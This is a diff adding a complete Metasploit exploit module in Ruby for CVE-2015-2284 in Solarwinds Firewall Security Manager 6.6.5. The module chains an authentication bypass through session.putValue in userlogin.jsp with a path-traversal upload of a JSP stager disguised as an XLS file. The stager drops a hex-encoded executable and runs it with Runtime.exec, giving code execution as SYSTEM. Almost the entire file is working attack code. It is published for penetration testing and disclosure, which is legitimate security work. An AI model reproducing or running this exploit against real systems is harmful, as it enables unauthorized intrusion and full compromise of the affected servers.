|
| 1 | +## |
| 2 | +# This module requires Metasploit: http://metasploit.com/download |
| 3 | +# Current source: https://github.com/rapid7/metasploit-framework |
| 4 | +## |
| 5 | + |
| 6 | +require 'msf/core' |
| 7 | + |
| 8 | +class Metasploit3 < Msf::Exploit::Remote |
| 9 | + Rank = ExcellentRanking |
| 10 | + |
| 11 | + include Msf::Exploit::Remote::HttpClient |
| 12 | + include Msf::Exploit::EXE |
| 13 | + include Msf::Exploit::FileDropper |
| 14 | + |
| 15 | + def initialize(info={}) |
| 16 | + super(update_info(info, |
| 17 | + 'Name' => "Solarwinds Firewall Security Manager 6.6.5 Client Session Handling Vulnerability", |
| 18 | + 'Description' => %q{ |
| 19 | + This module exploits multiple vulnerabilities found in Solarwinds Firewall Security Manager |
| 20 | + 6.6.5. The first vulnerability is an authentication bypass via the Change Advisor interface |
| 21 | + due to a user-controlled session.putValue API in userlogin.jsp, allowing the attacker to set |
| 22 | + the 'username' attribute before authentication. The second problem is that the settings-new.jsp |
| 23 | + file will only check the 'username' attribute before authorizing the 'uploadFile' action, |
| 24 | + which can be exploited and allows the attacker to upload a fake xls host list file to the |
| 25 | + server, and results in arbitrary code execution under the context of SYSTEM. |
| 26 | +
|
| 27 | + Depending on the installation, by default the Change Advisor web server is listening on port |
| 28 | + 48080 for an express install. Otherwise, this service may appear on port 8080. |
| 29 | +
|
| 30 | + Solarwinds has released a fix for this vulnerability as FSM-v6.6.5-HotFix1.zip. You may |
| 31 | + download it from the module's References section. |
| 32 | + }, |
| 33 | + 'License' => MSF_LICENSE, |
| 34 | + 'Author' => |
| 35 | + [ |
| 36 | + 'rgod', # Original discovery |
| 37 | + 'mr_me <steventhomasseeley[at]gmail.com>', # https://twitter.com/ae0n_ |
| 38 | + 'sinn3r' # Metasploit |
| 39 | + ], |
| 40 | + 'References' => |
| 41 | + [ |
| 42 | + ['CVE', '2015-2284'], |
| 43 | + ['OSVDB', '81634'], |
| 44 | + ['ZDI', '15-107'], |
| 45 | + ['URL', 'http://downloads.solarwinds.com/solarwinds/Release/HotFix/FSM-v6.6.5-HotFix1.zip'] |
| 46 | + ], |
| 47 | + 'DefaultOptions' => |
| 48 | + { |
| 49 | + 'RPORT' => 48080 # Could be 8080 too |
| 50 | + }, |
| 51 | + 'Platform' => 'win', |
| 52 | + 'Targets' => |
| 53 | + [ |
| 54 | + ['Solarwinds Firewall Security Manager 6.6.5', {}] |
| 55 | + ], |
| 56 | + 'Privileged' => false, |
| 57 | + 'DisclosureDate' => 'Mar 13 2015', |
| 58 | + 'DefaultTarget' => 0)) |
| 59 | + |
| 60 | + register_options( |
| 61 | + [ |
| 62 | + OptString.new('TARGETURI', [ true, 'Base FMS directory path', '/']) |
| 63 | + ], self.class) |
| 64 | + end |
| 65 | + |
| 66 | + |
| 67 | + # Returns a checkcode that indicates whether the target is FSM or not |
| 68 | + def check |
| 69 | + res = send_request_cgi('uri' => normalize_uri(target_uri.path, 'fsm', 'login.jsp')) |
| 70 | + |
| 71 | + if res && res.body =~ /SolarWinds FSM Change Advisor/i |
| 72 | + return Exploit::CheckCode::Detected |
| 73 | + end |
| 74 | + |
| 75 | + Exploit::CheckCode::Safe |
| 76 | + end |
| 77 | + |
| 78 | + |
| 79 | + # Exploit/run command |
| 80 | + def exploit |
| 81 | + unless check == Exploit::CheckCode::Detected |
| 82 | + fail_with(Failure::NotVulnerable, 'Target does not appear to be a Solarwinds Firewall Security Manager') |
| 83 | + end |
| 84 | + |
| 85 | + # Stage 1 of the attack |
| 86 | + # 'admin' is there by default and you can't delete it |
| 87 | + username = 'admin' |
| 88 | + print_status("Auth bypass: Putting session value: username=#{username}") |
| 89 | + sid = put_session_value(username) |
| 90 | + print_status("Your SID is: #{sid}") |
| 91 | + |
| 92 | + # Stage 2 of the attack |
| 93 | + exe = generate_payload_exe(code: payload.encoded) |
| 94 | + filename = "#{Rex::Text.rand_text_alpha(5)}.jsp" |
| 95 | + # Because when we get a shell, we will be at: |
| 96 | + # C:\Program Files\SolarWinds\SolarWinds FSMServer\webservice |
| 97 | + # So we have to adjust this filename in order to delete the file |
| 98 | + register_files_for_cleanup("../plugins/com.lisletech.athena.http.servlets_1.2/jsp/#{filename}") |
| 99 | + malicious_file = get_jsp_payload(exe, filename) |
| 100 | + print_status("Uploading file: #{filename} (#{exe.length} bytes)") |
| 101 | + upload_exec(sid, filename, malicious_file) |
| 102 | + end |
| 103 | + |
| 104 | + |
| 105 | + private |
| 106 | + |
| 107 | + |
| 108 | + # Returns a write-stager |
| 109 | + # I grabbed this from Juan's sonicwall_gms_uploaded.rb module |
| 110 | + def jsp_drop_bin(bin_data, output_file) |
| 111 | + jspraw = %Q|<%@ page import="java.io.*" %>\n| |
| 112 | + jspraw << %Q|<%\n| |
| 113 | + jspraw << %Q|String data = "#{Rex::Text.to_hex(bin_data, "")}";\n| |
| 114 | + |
| 115 | + jspraw << %Q|FileOutputStream outputstream = new FileOutputStream("#{output_file}");\n| |
| 116 | + |
| 117 | + jspraw << %Q|int numbytes = data.length();\n| |
| 118 | + |
| 119 | + jspraw << %Q|byte[] bytes = new byte[numbytes/2];\n| |
| 120 | + jspraw << %Q|for (int counter = 0; counter < numbytes; counter += 2)\n| |
| 121 | + jspraw << %Q|{\n| |
| 122 | + jspraw << %Q| char char1 = (char) data.charAt(counter);\n| |
| 123 | + jspraw << %Q| char char2 = (char) data.charAt(counter + 1);\n| |
| 124 | + jspraw << %Q| int comb = Character.digit(char1, 16) & 0xff;\n| |
| 125 | + jspraw << %Q| comb <<= 4;\n| |
| 126 | + jspraw << %Q| comb += Character.digit(char2, 16) & 0xff;\n| |
| 127 | + jspraw << %Q| bytes[counter/2] = (byte)comb;\n| |
| 128 | + jspraw << %Q|}\n| |
| 129 | + |
| 130 | + jspraw << %Q|outputstream.write(bytes);\n| |
| 131 | + jspraw << %Q|outputstream.close();\n| |
| 132 | + jspraw << %Q|%>\n| |
| 133 | + |
| 134 | + jspraw |
| 135 | + end |
| 136 | + |
| 137 | + # Returns JSP that executes stuff |
| 138 | + # This is also from Juan's sonicwall_gms_uploaded.rb module |
| 139 | + def jsp_execute_command(command) |
| 140 | + jspraw = %Q|<%@ page import="java.io.*" %>\n| |
| 141 | + jspraw << %Q|<%\n| |
| 142 | + jspraw << %Q|try {\n| |
| 143 | + jspraw << %Q| Runtime.getRuntime().exec("chmod +x #{command}");\n| |
| 144 | + jspraw << %Q|} catch (IOException ioe) { }\n| |
| 145 | + jspraw << %Q|Runtime.getRuntime().exec("#{command}");\n| |
| 146 | + jspraw << %Q|%>\n| |
| 147 | + |
| 148 | + jspraw |
| 149 | + end |
| 150 | + |
| 151 | + |
| 152 | + # Returns a JSP payload |
| 153 | + def get_jsp_payload(exe, output_file) |
| 154 | + jsp_drop_bin(exe, output_file) + jsp_execute_command(output_file) |
| 155 | + end |
| 156 | + |
| 157 | + |
| 158 | + # Creates an arbitrary username by abusing the server's unsafe use of session.putValue |
| 159 | + def put_session_value(value) |
| 160 | + res = send_request_cgi( |
| 161 | + 'uri' => normalize_uri(target_uri.path, 'fsm', 'userlogin.jsp'), |
| 162 | + 'method' => 'GET', |
| 163 | + 'vars_get' => { 'username' => value } |
| 164 | + ) |
| 165 | + |
| 166 | + unless res |
| 167 | + fail_with(Failure::Unknown, 'The connection timed out while setting the session value.') |
| 168 | + end |
| 169 | + |
| 170 | + get_sid(res) |
| 171 | + end |
| 172 | + |
| 173 | + |
| 174 | + # Returns the session ID |
| 175 | + def get_sid(res) |
| 176 | + cookies = res.get_cookies |
| 177 | + sid = cookies.scan(/(JSESSIONID=\w+);*/).flatten[0] || '' |
| 178 | + sid |
| 179 | + end |
| 180 | + |
| 181 | + |
| 182 | + # Uploads a malicious file and then execute it |
| 183 | + def upload_exec(sid, filename, malicious_file) |
| 184 | + res = upload_file(sid, filename, malicious_file) |
| 185 | + |
| 186 | + if !res |
| 187 | + fail_with(Failure::Unknown, 'The connection timed out while uploading the malicious file.') |
| 188 | + elsif res.body.include?('java.lang.NoClassDefFoundError') |
| 189 | + print_status('Payload being treated as XLS, indicates a successful upload.') |
| 190 | + else |
| 191 | + print_status('Unsure of a successful upload.') |
| 192 | + end |
| 193 | + |
| 194 | + print_status('Attempting to execute the payload.') |
| 195 | + exec_file(sid, filename) |
| 196 | + end |
| 197 | + |
| 198 | + |
| 199 | + # Uploads a malicious file |
| 200 | + # By default, the file will be saved at the following location: |
| 201 | + # C:\Program Files\SolarWinds\SolarWinds FSMServer\plugins\com.lisletech.athena.http.servlets_1.2\reports\tickets\ |
| 202 | + def upload_file(sid, filename, malicious_file) |
| 203 | + # Put our payload in: |
| 204 | + # C:\Program Files\SolarWinds\SolarWinds FSMServer\plugins\com.lisletech.athena.http.servlets_1.2\jsp\ |
| 205 | + filename = "../../jsp/#{filename}" |
| 206 | + |
| 207 | + mime_data = Rex::MIME::Message.new |
| 208 | + mime_data.add_part(malicious_file, 'application/vnd.ms-excel', nil, "name=\"file\"; filename=\"#{filename}\"") |
| 209 | + mime_data.add_part('uploadFile', nil, nil, 'name="action"') |
| 210 | + |
| 211 | + proto = ssl ? 'https' : 'http' |
| 212 | + ref = "#{proto}://#{rhost}:#{rport}#{normalize_uri(target_uri.path, 'fsm', 'settings-new.jsp')}" |
| 213 | + |
| 214 | + send_request_cgi( |
| 215 | + 'uri' => normalize_uri(target_uri.path, 'fsm', 'settings-new.jsp'), |
| 216 | + 'method' => 'POST', |
| 217 | + 'vars_get' => { 'action' => 'uploadFile' }, |
| 218 | + 'ctype' => "multipart/form-data; boundary=#{mime_data.bound}", |
| 219 | + 'data' => mime_data.to_s, |
| 220 | + 'cookie' => sid, |
| 221 | + 'headers' => { 'Referer' => ref } |
| 222 | + ) |
| 223 | + end |
| 224 | + |
| 225 | + |
| 226 | + # Executes the malicious file and get code execution |
| 227 | + # We will be at this location: |
| 228 | + # C:\Program Files\SolarWinds\SolarWinds FSMServer\webservice |
| 229 | + def exec_file(sid, filename) |
| 230 | + send_request_cgi( |
| 231 | + 'uri' => normalize_uri(target_uri.path, 'fsm', filename) |
| 232 | + ) |
| 233 | + end |
| 234 | + |
| 235 | + |
| 236 | + # Overrides the original print_status so we make sure we print the rhost and port |
| 237 | + def print_status(msg) |
| 238 | + super("#{rhost}:#{rport} - #{msg}") |
| 239 | + end |
| 240 | + |
| 241 | +end |
| 242 | + |
0 commit comments